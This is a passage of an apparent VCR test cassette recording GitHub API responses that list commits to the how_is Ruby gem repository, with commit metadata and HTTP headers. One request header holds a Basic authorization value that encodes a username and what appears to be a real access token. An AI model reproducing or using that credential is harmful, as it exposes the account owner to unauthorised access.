Dash","email":"me@duckie.co","date":"2016-03-20T06:57:16Z"},"message":"Update README.md.","tree":{"sha":"033bb3ac4fc8a7945339bd2672055fab29d22dda","url":"https://api.github.com/repos/how-is/how_is/git/trees/033bb3ac4fc8a7945339bd2672055fab29d22dda"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9bf868afda1d6078e100bf9aee693c4cd212be34","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9bf868afda1d6078e100bf9aee693c4cd212be34","html_url":"https://github.com/how-is/how_is/commit/9bf868afda1d6078e100bf9aee693c4cd212be34","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9bf868afda1d6078e100bf9aee693c4cd212be34/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ecff03a582140ca0c54d9e52ee77ecd7a3718b0c","url":"https://api.github.com/repos/how-is/how_is/commits/ecff03a582140ca0c54d9e52ee77ecd7a3718b0c","html_url":"https://github.com/how-is/how_is/commit/ecff03a582140ca0c54d9e52ee77ecd7a3718b0c"}]},{"sha":"ecff03a582140ca0c54d9e52ee77ecd7a3718b0c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWNmZjAzYTU4MjE0MGNhMGM1NGQ5ZTUyZWU3N2VjZDdhMzcxOGIwYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T06:52:06Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T06:52:06Z"},"message":"mmm fancyyyyyyyyy","tree":{"sha":"2f19b0702554624b03988c1aa7b4a3f20e605b74","url":"https://api.github.com/repos/how-is/how_is/git/trees/2f19b0702554624b03988c1aa7b4a3f20e605b74"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ecff03a582140ca0c54d9e52ee77ecd7a3718b0c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ecff03a582140ca0c54d9e52ee77ecd7a3718b0c","html_url":"https://github.com/how-is/how_is/commit/ecff03a582140ca0c54d9e52ee77ecd7a3718b0c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ecff03a582140ca0c54d9e52ee77ecd7a3718b0c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7d0b11df24598a68d618709b54ebfe0f654efceb","url":"https://api.github.com/repos/how-is/how_is/commits/7d0b11df24598a68d618709b54ebfe0f654efceb","html_url":"https://github.com/how-is/how_is/commit/7d0b11df24598a68d618709b54ebfe0f654efceb"}]},{"sha":"7d0b11df24598a68d618709b54ebfe0f654efceb","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2QwYjExZGYyNDU5OGE2OGQ2MTg3MDliNTRlYmZlMGY2NTRlZmNlYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T06:15:43Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T06:15:43Z"},"message":"Miscellaneous cleanup.","tree":{"sha":"59bffac8eee6716a371bfadfbc72ce7611b0bfbe","url":"https://api.github.com/repos/how-is/how_is/git/trees/59bffac8eee6716a371bfadfbc72ce7611b0bfbe"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7d0b11df24598a68d618709b54ebfe0f654efceb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7d0b11df24598a68d618709b54ebfe0f654efceb","html_url":"https://github.com/how-is/how_is/commit/7d0b11df24598a68d618709b54ebfe0f654efceb","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7d0b11df24598a68d618709b54ebfe0f654efceb/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ebb7e58c5326c38194c8d5cf42d78b427157fe47","url":"https://api.github.com/repos/how-is/how_is/commits/ebb7e58c5326c38194c8d5cf42d78b427157fe47","html_url":"https://github.com/how-is/how_is/commit/ebb7e58c5326c38194c8d5cf42d78b427157fe47"}]},{"sha":"ebb7e58c5326c38194c8d5cf42d78b427157fe47","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWJiN2U1OGM1MzI2YzM4MTk0YzhkNWNmNDJkNzhiNDI3MTU3ZmU0Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T06:10:04Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T06:10:04Z"},"message":"Fetch issues and PRs.","tree":{"sha":"0898931b8dea971bb70859c0442df8fae5393de9","url":"https://api.github.com/repos/how-is/how_is/git/trees/0898931b8dea971bb70859c0442df8fae5393de9"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ebb7e58c5326c38194c8d5cf42d78b427157fe47","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ebb7e58c5326c38194c8d5cf42d78b427157fe47","html_url":"https://github.com/how-is/how_is/commit/ebb7e58c5326c38194c8d5cf42d78b427157fe47","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ebb7e58c5326c38194c8d5cf42d78b427157fe47/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"68a6df0dc911cbdc8fa05f7b20fa9c7656ec8586","url":"https://api.github.com/repos/how-is/how_is/commits/68a6df0dc911cbdc8fa05f7b20fa9c7656ec8586","html_url":"https://github.com/how-is/how_is/commit/68a6df0dc911cbdc8fa05f7b20fa9c7656ec8586"}]},{"sha":"68a6df0dc911cbdc8fa05f7b20fa9c7656ec8586","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjhhNmRmMGRjOTExY2JkYzhmYTA1ZjdiMjBmYTljNzY1NmVjODU4Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T05:34:25Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T05:34:25Z"},"message":"~~~plumbing~~~","tree":{"sha":"3df943b3e488a93c09899de4e057cbea7649a071","url":"https://api.github.com/repos/how-is/how_is/git/trees/3df943b3e488a93c09899de4e057cbea7649a071"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/68a6df0dc911cbdc8fa05f7b20fa9c7656ec8586","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/68a6df0dc911cbdc8fa05f7b20fa9c7656ec8586","html_url":"https://github.com/how-is/how_is/commit/68a6df0dc911cbdc8fa05f7b20fa9c7656ec8586","comments_url":"https://api.github.com/repos/how-is/how_is/commits/68a6df0dc911cbdc8fa05f7b20fa9c7656ec8586/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f9c3976eeb327c5d320abf9402c1942661dc5e39","url":"https://api.github.com/repos/how-is/how_is/commits/f9c3976eeb327c5d320abf9402c1942661dc5e39","html_url":"https://github.com/how-is/how_is/commit/f9c3976eeb327c5d320abf9402c1942661dc5e39"}]},{"sha":"f9c3976eeb327c5d320abf9402c1942661dc5e39","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjljMzk3NmVlYjMyN2M1ZDMyMGFiZjk0MDJjMTk0MjY2MWRjNWUzOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T01:46:19Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T01:46:19Z"},"message":"Update README.md.","tree":{"sha":"42eed05ecccfffa5a47f5a37b68e3a14d2712c98","url":"https://api.github.com/repos/how-is/how_is/git/trees/42eed05ecccfffa5a47f5a37b68e3a14d2712c98"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f9c3976eeb327c5d320abf9402c1942661dc5e39","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f9c3976eeb327c5d320abf9402c1942661dc5e39","html_url":"https://github.com/how-is/how_is/commit/f9c3976eeb327c5d320abf9402c1942661dc5e39","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f9c3976eeb327c5d320abf9402c1942661dc5e39/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fd0315349b938e162155e39b9cf230765a79dd78","url":"https://api.github.com/repos/how-is/how_is/commits/fd0315349b938e162155e39b9cf230765a79dd78","html_url":"https://github.com/how-is/how_is/commit/fd0315349b938e162155e39b9cf230765a79dd78"}]},{"sha":"fd0315349b938e162155e39b9cf230765a79dd78","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmQwMzE1MzQ5YjkzOGUxNjIxNTVlMzliOWNmMjMwNzY1YTc5ZGQ3OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T01:44:33Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T01:44:33Z"},"message":"Update gemspec.","tree":{"sha":"a920e592664ab48921e2efd62f8cda778a840885","url":"https://api.github.com/repos/how-is/how_is/git/trees/a920e592664ab48921e2efd62f8cda778a840885"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fd0315349b938e162155e39b9cf230765a79dd78","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fd0315349b938e162155e39b9cf230765a79dd78","html_url":"https://github.com/how-is/how_is/commit/fd0315349b938e162155e39b9cf230765a79dd78","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fd0315349b938e162155e39b9cf230765a79dd78/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3de045446fe384a3b6239f5b3cf0e50541013a0a","url":"https://api.github.com/repos/how-is/how_is/commits/3de045446fe384a3b6239f5b3cf0e50541013a0a","html_url":"https://github.com/how-is/how_is/commit/3de045446fe384a3b6239f5b3cf0e50541013a0a"}]},{"sha":"3de045446fe384a3b6239f5b3cf0e50541013a0a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2RlMDQ1NDQ2ZmUzODRhM2I2MjM5ZjViM2NmMGU1MDU0MTAxM2EwYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T01:42:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-03-20T01:42:14Z"},"message":"Initial commit.","tree":{"sha":"1dad65ba12dd003f6f0d95ca9b749443eca3669d","url":"https://api.github.com/repos/how-is/how_is/git/trees/1dad65ba12dd003f6f0d95ca9b749443eca3669d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3de045446fe384a3b6239f5b3cf0e50541013a0a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3de045446fe384a3b6239f5b3cf0e50541013a0a","html_url":"https://github.com/how-is/how_is/commit/3de045446fe384a3b6239f5b3cf0e50541013a0a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3de045446fe384a3b6239f5b3cf0e50541013a0a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:49 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits?author=olle.jonsson@gmail.com&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3326' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"90cf0242b1950cb92cbe41ef596a827d" Last-Modified: - Fri, 26 May 2017 08:04:39 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 8D1E:5DDD:A2DC5:1AE5C4:5CC36AF1 body: encoding: ASCII-8BIT string: '[{"sha":"0c0336ac8368cfae2c2169c92ddd06b2fd0658f6","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGMwMzM2YWM4MzY4Y2ZhZTJjMjE2OWM5MmRkZDA2YjJmZDA2NThmNg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-05-26T08:04:39Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-05-26T08:04:39Z"},"message":"README: Drop from_config_file reference\n\nFixes #153","tree":{"sha":"5e6b603aa29e876c5b0fa908119b399aa426be2a","url":"https://api.github.com/repos/how-is/how_is/git/trees/5e6b603aa29e876c5b0fa908119b399aa426be2a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0c0336ac8368cfae2c2169c92ddd06b2fd0658f6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0c0336ac8368cfae2c2169c92ddd06b2fd0658f6","html_url":"https://github.com/how-is/how_is/commit/0c0336ac8368cfae2c2169c92ddd06b2fd0658f6","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0c0336ac8368cfae2c2169c92ddd06b2fd0658f6/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"508952623a3a7ea166ae545bb0c42405ee3eb395","url":"https://api.github.com/repos/how-is/how_is/commits/508952623a3a7ea166ae545bb0c42405ee3eb395","html_url":"https://github.com/how-is/how_is/commit/508952623a3a7ea166ae545bb0c42405ee3eb395"}]},{"sha":"0392b0c284fe6ce7df997494460c3589ebf29ab7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDM5MmIwYzI4NGZlNmNlN2RmOTk3NDk0NDYwYzM1ODllYmYyOWFiNw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-03-21T12:46:31Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-03-21T12:48:17Z"},"message":"how_is: Refactor save_files\n\n - docstrings","tree":{"sha":"d154730eed48bddada675c2e6a4f03bdd1a75179","url":"https://api.github.com/repos/how-is/how_is/git/trees/d154730eed48bddada675c2e6a4f03bdd1a75179"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0392b0c284fe6ce7df997494460c3589ebf29ab7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0392b0c284fe6ce7df997494460c3589ebf29ab7","html_url":"https://github.com/how-is/how_is/commit/0392b0c284fe6ce7df997494460c3589ebf29ab7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0392b0c284fe6ce7df997494460c3589ebf29ab7/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolle